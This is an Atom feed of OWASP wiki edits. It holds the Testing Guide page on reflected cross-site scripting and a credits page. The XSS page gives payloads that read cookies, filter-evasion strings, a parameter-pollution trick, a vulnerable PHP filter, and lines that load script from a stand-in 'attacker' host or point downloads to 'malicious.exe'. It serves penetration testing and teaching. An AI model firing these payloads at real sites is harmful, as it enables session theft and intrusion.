<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Sick</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Sick"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Sick"/>
		<updated>2026-05-02T18:46:37Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=196646</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=196646"/>
				<updated>2015-06-29T14:01:58Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: Link fix for alert('A javascritp agent'). TODO: mirror / alternative for ha.ckers.org/xss.html&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code using the victim's browser. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, but might not filter %3cscript%3e which simply includes another encoding of tags.&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. &amp;lt;br /&amp;gt;Some example of such input data are the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;gt; (greater than) &lt;br /&gt;
&amp;lt; (less than) &lt;br /&gt;
&amp;amp; (ampersand)&lt;br /&gt;
' (apostrophe or single quote)&lt;br /&gt;
&amp;quot; (double quote)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
\n (new line)&lt;br /&gt;
\r (carriage return)&lt;br /&gt;
\' (apostrophe or single quote)&lt;br /&gt;
\&amp;quot; (double quote)&lt;br /&gt;
\\ (backslash)&lt;br /&gt;
\uXXXX (unicode values)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 1 ====&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 2 ====&lt;br /&gt;
Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bypass XSS filters  ===&lt;br /&gt;
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 3: Tag Attribute Value ====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of &amp;lt;script&amp;gt; tags and even without the use of characters such as &amp;quot; &amp;lt; &amp;gt; and / that are commonly filtered.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, the web application could use the user input value to fill an attribute, as shown in the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;state&amp;quot; value=&amp;quot;INPUT_FROM_USER&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then an attacker could submit the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot; onfocus=&amp;quot;alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 4: Different syntax or encoding ====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following some examples:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;script &amp;gt;alert(document.cookie)&amp;lt;/script &amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;ScRiPt&amp;gt;alert(document.cookie)&amp;lt;/ScRiPt&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;%3cscript%3ealert(document.cookie)%3c/script%3e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 5: Bypassing non-recursive filtering ====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 6: Including external script ====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
   $re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   if (preg_match($re, $_GET['var'])) &lt;br /&gt;
   {&lt;br /&gt;
      echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
      return; &lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;b&amp;gt;&amp;lt;script [anything but the character: '&amp;gt;' ] src&amp;lt;/b&amp;gt; is inserted. This is useful for filtering expressions like &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the &amp;quot;&amp;gt;&amp;quot; character in an attribute between script and src, like this: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example 7: HTTP Parameter Pollution (HPP) ====&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the [[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|Testing for HTTP Parameter pollution]] for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-&lt;br /&gt;
based security mechanisms.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Regular attack: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;gt;[...]&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attack using HPP:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;amp;param=&amp;gt;[...]&amp;lt;/&amp;amp;param=script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Result expected '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. &lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]&lt;br /&gt;
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''HackVertor''' -  http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
* '''OWASP Xenotix XSS Exploit Framework''' - [[OWASP_Xenotix_XSS_Exploit_Framework]]&lt;br /&gt;
OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1600+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. Xenotix Scripting Engine allows you to create custom test cases and addons over the Xenotix API. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://www.coresecurity.com/corelabs-research/publications/alert-a-javascript-agent Read] &lt;br /&gt;
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Guide_Frontispiece&amp;diff=51003</id>
		<title>Testing Guide Frontispiece</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Guide_Frontispiece&amp;diff=51003"/>
				<updated>2009-01-13T03:49:21Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: typo in Ariel Coronel&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
==Welcome to the OWASP Testing Guide 3.0==&lt;br /&gt;
“Open and collaborative knowledge: that’s the OWASP way.”&amp;lt;br&amp;gt;&lt;br /&gt;
-- [[User:Mmeucci|Matteo Meucci]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OWASP thanks the many authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Testing Guide, please e-mail the Testing Guide mail list:&lt;br /&gt;
&lt;br /&gt;
 http://lists.owasp.org/mailman/listinfo/owasp-testing&lt;br /&gt;
&lt;br /&gt;
Or drop an e-mail to the project leader: [mailto:matteo.meucci@gmail.com Matteo Meucci]&lt;br /&gt;
&lt;br /&gt;
==Version 3.0==&lt;br /&gt;
&lt;br /&gt;
The OWASP Testing Guide Version 3 improves version 2 and creates new sections and controls. This new version has added: &amp;lt;br&amp;gt;&lt;br /&gt;
•	Configuration Management and Authorization Testing sections and Encoded Injection Appendix;&amp;lt;br&amp;gt;&lt;br /&gt;
•	36 new articles (1 taken from the BSP);&amp;lt;br&amp;gt;&lt;br /&gt;
Version 3 improved 9 articles, for a total of 10 Testing categories and 66 controls.&lt;br /&gt;
&lt;br /&gt;
==Copyright and License==&lt;br /&gt;
&lt;br /&gt;
Copyright (c) 2008 The OWASP Foundation.&lt;br /&gt;
&lt;br /&gt;
This document is released under the [http://creativecommons.org/licenses/by-sa/2.5/ Creative Commons 2.5 License]. Please read and understand the license and copyright conditions.&lt;br /&gt;
&lt;br /&gt;
==Revision History ==&lt;br /&gt;
&lt;br /&gt;
The Testing Guide v3 was released in November 2008. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. Matteo Meucci has taken on the Testing guide and is now the lead of the OWASP Testing Guide Project.&lt;br /&gt;
&lt;br /&gt;
; 15th September, 2008&lt;br /&gt;
: &amp;quot;OWASP Testing Guide&amp;quot;, Version 3.0&lt;br /&gt;
&lt;br /&gt;
; December 25, 2006&lt;br /&gt;
: &amp;quot;OWASP Testing Guide&amp;quot;, Version 2.0&lt;br /&gt;
&lt;br /&gt;
; July 14, 2004&lt;br /&gt;
: &amp;quot;OWASP Web Application Penetration Checklist&amp;quot;, Version 1.1&lt;br /&gt;
&lt;br /&gt;
; December 2004&lt;br /&gt;
: &amp;quot;The OWASP Testing Guide&amp;quot;, Version 1.0&lt;br /&gt;
&lt;br /&gt;
== Editors ==&lt;br /&gt;
'''Matteo Meucci''': OWASP Testing Guide Lead since 2007. &amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Eoin Keary''': OWASP Testing Guide 2005-2007 Lead.&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Daniel Cuthbert''': OWASP Testing Guide 2003-2005 Lead.&lt;br /&gt;
&lt;br /&gt;
== v3 Authors ==&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; &lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Anurag Agarwwal&lt;br /&gt;
* Daniele Bellucci&lt;br /&gt;
* Ariel Coronel&lt;br /&gt;
* Stefano Di Paola&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Giorgio Fedon&lt;br /&gt;
* Adam Goodman&lt;br /&gt;
* Christian Heinrich&lt;br /&gt;
* Kevin Horvath&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Gianrico Ingrosso&lt;br /&gt;
* Roberto Suggi Liverani&lt;br /&gt;
* Kuza55&lt;br /&gt;
* Pavol Luptak&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Ferruh Mavituna&lt;br /&gt;
* Marco Mella&lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Marco Morana&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Antonio Parata&lt;br /&gt;
* Cecil Su&lt;br /&gt;
* Harish Skanda Sureddy&lt;br /&gt;
* Mark Roxberry&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Andrew Van der Stock&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== v3 Reviewers ==&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; &lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Marco Cova&lt;br /&gt;
* Kevin Fuller&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== v2 Authors ==&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; &lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Vicente Aguilera&lt;br /&gt;
* Mauro Bregolin&lt;br /&gt;
* Tom Brennan&lt;br /&gt;
* Gary	Burns&lt;br /&gt;
* Luca Carettoni&lt;br /&gt;
* Dan Cornell&lt;br /&gt;
* Mark Curphey&lt;br /&gt;
* Daniel Cuthbert&lt;br /&gt;
* Sebastien Deleersnyder&lt;br /&gt;
* Stephen DeVries&lt;br /&gt;
* Stefano Di Paola&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* David	Endler&lt;br /&gt;
* Giorgio Fedon&lt;br /&gt;
* Javier Fernández-Sanguino&lt;br /&gt;
* Glyn Geoghegan&lt;br /&gt;
* Stan Guzik &lt;br /&gt;
* Madhura Halasgikar&lt;br /&gt;
* Eoin Keary&lt;br /&gt;
* David Litchfield&lt;br /&gt;
* Andrea Lombardini&lt;br /&gt;
* Ralph M. Los&lt;br /&gt;
* Claudio Merloni&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Marco	Morana&lt;br /&gt;
* Laura Nunez&lt;br /&gt;
* Gunter Ollmann&lt;br /&gt;
* Antonio Parata&lt;br /&gt;
* Yiannis Pavlosoglou&lt;br /&gt;
* Carlo Pelliccioni&lt;br /&gt;
* Harinath Pudipeddi&lt;br /&gt;
* Alberto Revelli&lt;br /&gt;
* Mark Roxberry&lt;br /&gt;
* Tom Ryan&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Anush Shetty&lt;br /&gt;
* Larry Shields&lt;br /&gt;
* Dafydd Studdard&lt;br /&gt;
* Andrew van der Stock&lt;br /&gt;
* Ariel	Waissbein&lt;br /&gt;
* Jeff Williams&lt;br /&gt;
* Tushar Vartak&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== v2 Reviewers ==&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; &lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Vicente Aguilera&lt;br /&gt;
* Marco Belotti&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Mauro Bregolin&lt;br /&gt;
* Marco Cova&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Daniel Cuthbert&lt;br /&gt;
* Paul Davies&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Stefano Di Paola&lt;br /&gt;
* Matteo G.P. Flora&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Simona Forti&lt;br /&gt;
* Darrell Groundy&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Eoin Keary&lt;br /&gt;
* James Kist&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Katie McDowell&lt;br /&gt;
* Marco Mella &lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Syed Mohamed A.&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Antonio Parata&lt;br /&gt;
* Alberto Revelli&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
* Mark Roxberry&lt;br /&gt;
* Dave Wichers&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Trademarks==&lt;br /&gt;
&lt;br /&gt;
* Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.&lt;br /&gt;
* Merriam-Webster is a trademark of Merriam-Webster, Inc.&lt;br /&gt;
* Microsoft is a registered trademark of Microsoft Corporation.&lt;br /&gt;
* Octave is a service mark of Carnegie Mellon University.&lt;br /&gt;
